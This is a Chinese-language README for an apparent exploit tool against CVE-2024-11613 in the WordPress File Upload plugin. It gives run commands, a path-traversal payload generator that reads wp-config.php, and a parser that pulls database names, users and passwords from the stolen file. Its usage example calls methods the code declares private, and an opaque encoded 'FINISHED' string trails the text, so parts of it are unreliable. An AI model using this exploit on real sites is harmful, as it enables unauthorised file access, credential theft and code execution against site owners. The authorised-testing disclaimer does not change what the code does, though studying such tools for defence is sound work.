WordPress文件上传插件漏洞利用工具 (CVE-2024-11613)
项目概述
本项目是一个专门针对 WordPress File Upload 插件(版本 ≤ 4.24.15)中存在的 CVE-2024-11613 漏洞的概念验证(PoC)与利用工具。该漏洞允许未经身份验证的攻击者通过 wfu_file_downloader.php 文件中的路径遍历缺陷,实现远程代码执行、任意文件读取和任意文件删除等危险操作。本工具由安全研究员 Chirag Artani 开发,旨在帮助安全专业人员评估 WordPress 站点的安全性。
功能特性
- 🔓 远程代码执行 - 利用 JSON payload 构造绕过 sanitization 机制,在目标服务器上执行任意代码
- 📁 任意文件读取 - 突破目录限制,读取 WordPress 配置文件(wp-config.php)等敏感信息
- 🗑️ 任意文件删除 - 通过精心构造的请求,删除服务器上的任意文件
- 🛠️ 自动化利用 - 封装完整的攻击链,只需提供目标 URL 即可自动检测并利用漏洞
- 📊 详细输出 - 实时显示攻击过程中的 HTTP 交互和服务器响应
- 🔍 配置提取 - 自动解析数据库凭证、表前缀等关键配置信息
安装指南
系统要求
- PHP 5.6 或更高版本(推荐 PHP 7.4+)
- 启用了 cURL 扩展
- Web 服务器(如 XAMPP、WAMP、LAMP)或 CLI 环境
安装步骤
-
克隆代码库
git clone https://github.com/3rag/wp-file-upload-exploit.git cd wp-file-upload-exploit -
确保 PHP 环境配置正确
php -v php -m | grep curl # 确认 cURL 扩展已启用 -
(可选)配置 Web 服务器 如果使用 XAMPP,将文件放入
htdocs目录并通过浏览器访问。
使用说明
基础用法
通过命令行执行 PHP 脚本,指定目标 WordPress 站点的基础 URL:
php exploit.php http://target-wordpress-site.com
工作流程示例
- 初始化 - 工具构建插件 URL 并验证目标是否可达
- 构建恶意 payload - 生成包含路径遍历和 JSON 数据的恶意请求
- 发送请求 - 向
wfu_file_downloader.php发送特制请求 - 解析响应 - 提取并显示目标服务器的 wp-config.php 内容
代码示例
<?php
// 创建漏洞利用实例
$exploit = new WFUExploit('http://example.com');
$payload = $exploit->createPayload('../../../../wp-config.php', '/var/www/html/');
$response = $exploit->sendExploit($payload);
echo $exploit->extractContent($response);
?>
典型使用场景
- 安全审计:在授权范围内检测 WordPress 站点是否存在此漏洞
- 渗透测试:验证目标能否通过文件读取获取数据库凭证
- 应急响应:快速评估补丁安装后是否仍有残余风险
核心代码
WFUExploit 类构造函数
class WFUExploit {
private $plugin_url;
private $wordpress_url;
private $output = '';
/**
* 初始化漏洞利用对象
* @param string $wordpress_url 目标 WordPress 站点的根 URL
*/
public function __construct($wordpress_url) {
$this->wordpress_url = rtrim($wordpress_url, '/');
$this->plugin_url = $this->wordpress_url . '/wp-content/plugins/wp-file-upload/wfu_file_downloader.php';
}
}
恶意 Payload 生成器
/**
* 创建用于路径遍历的 JSON payload
* @param string $target_file 要读取/删除的目标文件路径
* @param string $abspath WordPress ABSPATH 变量(用于构造路径)
* @return string 编码后的 JSON 字符串
*/
private function createPayload($target_file, $abspath) {
return json_encode([
'type' => 'normal',
'ticket' => 'ABC123', // 硬编码 ticket 值,插件未充分验证
'filepath' => $target_file, // 用户可控的文件路径
'handler' => '',
'expire' => time() + 3600,
'wfu_ABSPATH' => $abspath, // 注入的 ABSPATH 值,影响路径解析
'wfu_browser_downloadfile_notexist' => 'File not found',
'wfu_browser_downloadfile_failed' => 'Download failed'
], JSON_UNESCAPED_SLASHES); // 保留斜杠以支持路径遍历
}
WordPress 配置解析器
/**
* 从 wp-config.php 内容中提取数据库配置
* @param string $content 配置文件内容
* @return array 包含数据库名称、用户、密码、主机和表前缀的关联数组
*/
private function parseWPConfig($content) {
$config = [];
$patterns = [
'DB_NAME' => "/define\(\s*'DB_NAME',\s*'([^']+)'\s*\)/",
'DB_USER' => "/define\(\s*'DB_USER',\s*'([^']+)'\s*\)/",
'DB_PASSWORD' => "/define\(\s*'DB_PASSWORD',\s*'([^']+)'\s*\)/",
'DB_HOST' => "/define\(\s*'DB_HOST',\s*'([^']+)'\s*\)/",
'TABLE_PREFIX' => "/\\\$table_prefix\s*=\s*'([^']+)'/"
];
foreach ($patterns as $key => $pattern) {
preg_match($pattern, $content, $matches);
$config[$key] = isset($matches[1]) ? $matches[1] : 'Not found';
}
return $config;
}
HTTP 响应内容提取器
/**
* 从 HTTP 响应中分离出主体内容
* @param string $response 原始 HTTP 响应
* @return string 剥离 HTTP 头后的响应体
*/
private function extractContent($response) {
if (strpos($response, "\r\n\r\n") !== false) {
list($headers, $body) = explode("\r\n\r\n", $response, 2);
return $body; // 返回不含 HTTP 头的纯文件内容
}
return $response;
}
安全注意事项
- 仅限授权测试:在未获得明确授权的情况下,使用此工具攻击他人网站是违法行为
- 风险自担:本工具仅用于教育和合法的安全评估,开发者不承担任何滥用责任
- 及时修复:如果发现系统存在此漏洞,请立即将 WordPress File Upload 插件升级至 4.24.15 以上版本FINISHED 6HFtX5dABrKlqXeO5PUv/+f9WgHAQo6EmA2xiG9JSe3aWtppVtH+ZtQChkxSvora